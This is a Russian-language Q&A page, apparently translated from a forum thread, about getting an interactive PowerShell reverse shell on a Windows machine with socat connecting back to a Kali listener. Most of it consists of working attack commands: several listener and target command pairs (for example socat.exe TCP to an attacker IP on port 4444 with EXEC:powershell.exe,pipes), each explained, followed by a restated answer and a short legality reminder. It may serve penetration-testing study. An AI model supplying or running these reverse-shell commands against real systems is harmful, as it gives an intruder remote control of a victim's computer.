Получение интерактивного обратного шелла PowerShell с использованием socat

Вопрос или проблема

Я прочитал, что socat способен создавать интерактивные оболочки. Я хотел бы создать интерактивную оболочку PowerShell.

Kali слушатель

# socat - tcp4-listen:1338

Windows (используется socat.exe отсюда: https://github.com/StudioEtrange/socat-windows)

socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty

Я получаю соединение, но никакой оболочки

введите описание изображения здесь

А PowerShell запускается на моем компьютере с Windows:
введите описание изображения здесь

Кто-нибудь знает, почему это не работает?

Попробуйте:

машина атакующего:

socat -d -d TCP4-LISTEN:1338 STDOUT

целевая машина:

socat TCP4:<ip машины атакующего>:1338 EXEC:'powershell.exe',pipes

источник: https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

Я бы предложил более простую синтаксис с socat, легче для понимания и сейчас работающий:

Машина атакующего (Kali Linux 2022.2 x64):

┌──(galoget㉿hackem)-[~]
└─$ socat TCP-L:4444 -

Детали синтаксиса:

  • TCP-L: Запускает socat в режиме прослушивания, используя TCP на определенном порту, в данном случае 4444.
  • -: Дефис (-) является сокращением, чтобы указать, что socat будет использовать стандартный ввод (stdin) и стандартный вывод (stdout). Он будет считывать входные данные из вашего консоли и отправлять их на противоположный конец. Затем он также будет получать данные от противоположного конца и записывать их в консольный вывод (STDIO).

Целевая машина (Windows 10 Pro x64 VM):

C:\socat-windows-master>socat.exe TCP:192.168.245.142:4444 EXEC:powershell.exe,pipes

Детали синтаксиса:

  • TCP: Запускает socat с использованием TCP для подключения к определенному IP-адресу и порту, в данном случае машина атакующего: 192.168.245.142 и порт: 4444.
  • EXEC: Указывает команду для выполнения, как только соединение установлено, в данном случае powershell.exe
  • Опция pipes заставляет powershell.exe или cmd.exe использовать стандартный ввод и вывод в стиле Unix.

Давайте посмотрим на эти команды в действии:

Целевая машина:
Windows 10 Pro x64 VM - socat соединение с машиной атакующего на порту 4444 с обратной оболочкой (powershell.exe)

Машина атакующего:
Kali Linux 2022.2 x64 - socat прослушивает на порту 4444

Как вы можете видеть, обратная оболочка работает отлично. Соединение установлено, и все в порядке.

Ответ или решение

Получение интерактивного реверс-шела PowerShell с использованием socat

Для успешного установления интерактивного реверс-шела с использованием утилиты socat, вам необходимо правильно настроить оба конца соединения: атакующую машину (например, Kali Linux) и целевую машину (Windows). Ниже приведены подробные шаги для настройки такого соединения.

Условие задачи

Используя socat, вы хотите создать интерактивную оболочку PowerShell на целевой машине Windows, а затем подключиться к ней с вашей атакующей машины. Вы упомянули, что уже пробовали следующий подход, но не получили ожидаемого результата.

Кали Листенер:

socat - tcp4-listen:1338

Windows (с использованием socat.exe):

socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty

При этом возникает проблема — вы получаете соединение, но не получаете интерактивную оболочку.

Возможные решения

  1. Настройка слушателя на Kali:

    Вместо блока кода, использующего простой tcp4-listen, попробуйте следующую команду:

    socat -d -d TCP4-LISTEN:1338 STDOUT

    Эта команда активирует режим прослушивания и позволяет увидеть отладочную информацию о соединении.

  2. Настройка целевой машины Windows:

    На стороне целевой машины выполните команду:

    socat TCP4:<IP атакующей машины>:1338 EXEC:'powershell.exe',pipes
  3. Установка правильного порта:

    Важно убедиться, что порты, используемые на обеих машинах, совпадают. Если слушатель настроен на 1338, убедитесь, что команда на целевой машине использует тот же порт.

  4. Использование более простого синтаксиса:

    В качестве более простого и работающего синтаксиса можно использовать следующее:

    Для атакующей машины:

    socat TCP-L:4444 -

    Для целевой машины:

    socat TCP:<IP атакующей машины>:4444 EXEC:powershell.exe,pipes

Подробное объяснение команд

  • TCP-L: Запускает socat в режиме прослушивания с использованием TCP на указанном порту (в данном случае 4444).
  • : Указывает, что socat будет использовать стандартный ввод и вывод (STDIN/STDOUT).
  • EXEC: Указывает команду, которую нужно выполнить при установлении соединения, здесь это powershell.exe.
  • pipes: Опция, которая обеспечивает использование стандартного ввода и вывода Unix.

Заключение

После выполнения вышеуказанных шагов вы должны получать интерактивную PowerShell оболочку. Убедитесь, что ваш брандмауэр и антивирусные программы на обоих компьютерах не блокируют соединения, и что вы используете правильные IP-адреса и порты. Если вы продолжаете сталкиваться с трудностями, проверьте сетевые настройки вашей виртуальной машины и убедитесь, что подключение к сети настроено правильно.

Помните: использование реверс-шелов и сетевых утилит должно осуществляться только в законных целях и с разрешения владельцев систем, для которых вы проводите тестирование.

Оцените материал
Добавить комментарий

Капча загружается...